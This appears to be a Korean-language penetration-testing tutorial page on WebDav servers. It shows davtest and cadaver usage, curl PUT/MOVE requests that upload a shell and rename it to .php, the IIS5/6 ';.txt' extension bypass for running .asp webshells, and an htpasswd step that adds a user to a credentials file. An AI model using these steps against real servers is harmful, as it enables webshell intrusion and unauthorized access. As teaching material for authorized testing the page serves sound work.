WebDav

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

WebDavκ°€ ν™œμ„±ν™”λœ HTTP μ„œλ²„λ₯Ό λ‹€λ£° λ•Œ, μ˜¬λ°”λ₯Έ 자격 증λͺ…이 μžˆλ‹€λ©΄ νŒŒμΌμ„ μ‘°μž‘ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” 일반적으둜 HTTP κΈ°λ³Έ 인증을 톡해 ν™•μΈλ©λ‹ˆλ‹€. μ΄λŸ¬ν•œ μ„œλ²„μ— λŒ€ν•œ μ œμ–΄λ₯Ό μ–»λŠ” 것은 μ’…μ’… μ›Ήμ‰˜μ˜ μ—…λ‘œλ“œ 및 싀행을 ν¬ν•¨ν•©λ‹ˆλ‹€.

WebDav μ„œλ²„μ— μ ‘κ·Όν•˜λ €λ©΄ 일반적으둜 μœ νš¨ν•œ 자격 증λͺ…이 ν•„μš”ν•˜λ©°, WebDav λΈŒλ£¨νŠΈν¬μŠ€λŠ” 이λ₯Ό νšλ“ν•˜λŠ” 일반적인 λ°©λ²•μž…λ‹ˆλ‹€.

파일 μ—…λ‘œλ“œμ— λŒ€ν•œ μ œν•œμ„ κ·Ήλ³΅ν•˜κΈ° μœ„ν•΄, 특히 μ„œλ²„ μΈ‘ 슀크립트 싀행을 λ°©μ§€ν•˜λŠ” μ œν•œμ΄ μžˆλŠ” 경우, λ‹€μŒκ³Ό 같은 방법을 μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

  • μ œν•œμ΄ μ—†λ‹€λ©΄ μ‹€ν–‰ κ°€λŠ₯ν•œ ν™•μž₯자λ₯Ό κ°€μ§„ νŒŒμΌμ„ 직접 μ—…λ‘œλ“œν•©λ‹ˆλ‹€.
  • μ—…λ‘œλ“œλœ λΉ„μ‹€ν–‰ 파일(예: .txt)의 이름을 μ‹€ν–‰ κ°€λŠ₯ν•œ ν™•μž₯자둜 λ³€κ²½ν•©λ‹ˆλ‹€.
  • μ—…λ‘œλ“œλœ λΉ„μ‹€ν–‰ νŒŒμΌμ„ λ³΅μ‚¬ν•˜κ³ , κ·Έ ν™•μž₯자λ₯Ό μ‹€ν–‰ κ°€λŠ₯ν•œ κ²ƒμœΌλ‘œ λ³€κ²½ν•©λ‹ˆλ‹€.

DavTest

DavtestλŠ” λ‹€μ–‘ν•œ ν™•μž₯자λ₯Ό κ°€μ§„ μ—¬λŸ¬ νŒŒμΌμ„ μ—…λ‘œλ“œν•˜κ³  ν™•μž₯μžκ°€ μ‹€ν–‰λ˜λŠ”μ§€ ν™•μΈν•˜λ €κ³  ν•©λ‹ˆλ‹€:

davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension

이것은 .txt 및 .html ν™•μž₯μžκ°€ μ‹€ν–‰λ˜κ³  μžˆλ‹€λŠ” μ˜λ―Έκ°€ μ•„λ‹™λ‹ˆλ‹€. μ΄λŠ” 웹을 톡해 이 νŒŒμΌμ— μ ‘κ·Όν•  수 μžˆλ‹€λŠ” μ˜λ―Έμž…λ‹ˆλ‹€.

Cadaver

이 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ WebDav μ„œλ²„μ— μˆ˜λ™μœΌλ‘œ μ—°κ²°ν•˜κ³  μ—…λ‘œλ“œ, 이동 λ˜λŠ” μ‚­μ œμ™€ 같은 μž‘μ—…μ„ μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

cadaver <IP>

PUT μš”μ²­

curl -T 'shell.txt' 'http://$ip'

MOVE μš”μ²­

curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'

IIS5/6 WebDav 취약점

이 취약점은 맀우 ν₯λ―Έλ‘­μŠ΅λ‹ˆλ‹€. WebDavλŠ” .asp ν™•μž₯자λ₯Ό κ°€μ§„ νŒŒμΌμ„ μ—…λ‘œλ“œν•˜κ±°λ‚˜ 이름을 λ³€κ²½ν•˜λŠ” 것을 ν—ˆμš©ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ 이름 끝에 **β€œ;.txt”**λ₯Ό μΆ”κ°€ν•˜λ©΄ 파일이 .asp 파일처럼 μ‹€ν–‰λ©λ‹ˆλ‹€ (λŒ€μ‹  β€œ.txt” λŒ€μ‹  **β€œ.html”**을 μ‚¬μš©ν•  μˆ˜λ„ μžˆμ§€λ§Œ **β€œ;”**λ₯Ό μžŠμ§€ λ§ˆμ„Έμš”).

그런 λ‹€μŒ 당신은 β€œ.txt” 파일둜 μ‰˜μ„ μ—…λ‘œλ“œν•˜κ³  β€œ.asp;.txt” 파일둜 볡사/이동할 수 μžˆμŠ΅λ‹ˆλ‹€. μ›Ή μ„œλ²„λ₯Ό 톡해 ν•΄λ‹Ή νŒŒμΌμ— μ ‘κ·Όν•˜λ©΄ μ‹€ν–‰λ©λ‹ˆλ‹€ (cadaverλŠ” 이동 μž‘μ—…μ΄ μž‘λ™ν•˜μ§€ μ•Šμ•˜λ‹€κ³  말할 κ²ƒμ΄μ§€λ§Œ, μ‹€μ œλ‘œλŠ” μž‘λ™ν–ˆμŠ΅λ‹ˆλ‹€).

자격 증λͺ… ν›„

Webdavκ°€ Apache μ„œλ²„λ₯Ό μ‚¬μš©ν•˜κ³  μžˆλ‹€λ©΄ Apache에 κ΅¬μ„±λœ μ‚¬μ΄νŠΈλ₯Ό 확인해야 ν•©λ‹ˆλ‹€. 일반적으둜:
/etc/apache2/sites-enabled/000-default

κ·Έ μ•ˆμ—λŠ” λ‹€μŒκ³Ό 같은 λ‚΄μš©μ„ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€:

ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user

λ³΄μ‹œλ‹€μ‹œν”Ό webdav μ„œλ²„μ— λŒ€ν•œ μœ νš¨ν•œ credentialsκ°€ ν¬ν•¨λœ 파일이 μžˆμŠ΅λ‹ˆλ‹€:

/etc/apache2/users.password

μ΄λŸ¬ν•œ μœ ν˜•μ˜ 파일 μ•ˆμ—λŠ” usernameκ³Ό hash된 λΉ„λ°€λ²ˆν˜Έκ°€ μžˆμŠ΅λ‹ˆλ‹€. 이것듀은 μ›Ήλ‹€λΈŒ μ„œλ²„κ°€ μ‚¬μš©μžλ₯Ό μΈμ¦ν•˜λŠ” 데 μ‚¬μš©ν•˜λŠ” 자격 증λͺ…μž…λ‹ˆλ‹€.

당신은 그것듀을 crackν•˜κ±°λ‚˜, μ–΄λ–€ μ΄μœ λ‘œλ“  webdav μ„œλ²„μ— accessν•˜κΈ° μœ„ν•΄ 더 λ§Žμ€ 것을 addν•  수 μžˆμŠ΅λ‹ˆλ‹€:

htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password

μƒˆλ‘œμš΄ 자격 증λͺ…이 μž‘λ™ν•˜λŠ”μ§€ ν™•μΈν•˜λ €λ©΄ λ‹€μŒμ„ μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

References

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°